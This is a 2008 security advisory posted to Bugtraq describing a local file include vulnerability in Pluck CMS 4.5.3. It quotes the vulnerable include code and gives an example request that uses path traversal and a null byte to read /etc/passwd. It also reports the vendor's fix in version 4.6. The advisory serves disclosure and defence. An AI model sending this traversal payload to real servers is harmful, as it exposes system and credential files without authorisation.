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Pluck CMS 4.5.3 local file include vuln



Local File Include Vulnerability in Pluck CMS 4.5.3
Local File Include Vulnerability in Pluck CMS 4.5.3



Hello, bugtraq.

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-039


Application:                    Pluck CMS
Versions Affected:              4.5.3
Vendor URL: http://www.pluck-cms.org/ 
Bug:                            Local File Include
Exploits:                       YES
Reported:                       25.08.2008
Vendor Response:                30.08.2008
Solution:                       YES 
Date of Public Advisory:        18.11.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Pluck CMS has Local File Include vulnerability. 



Details
*******

1. Local File Include vulnerability found in script data/inc/lib/pcltar.lib.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

  if (!isset($g_pcltar_lib_dir))
    $g_pcltar_lib_dir = "lib";

...

  $g_pcltar_extension = "php";

  if (!defined("PCLERROR_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pclerror.lib.$g_pcltar_extension");
  }
  if (!defined("PCLTRACE_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pcltrace.lib.$g_pcltar_extension");
  }

#################################################

Example:

http://[server]/[installdir]/data/inc/lib/pcltar.lib.php?g_pcltar_lib_dir=../../../../../../../../../../../../../etc/passwd%00 



Solution
********
Vendor fix this flaw on 09.08.2008. New version of Pluck CMS 4.6 can be download here:


http://www.pluck-cms.org/downloads/click.php?id=8 



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
http://www.dsec.ru (in Russian) 




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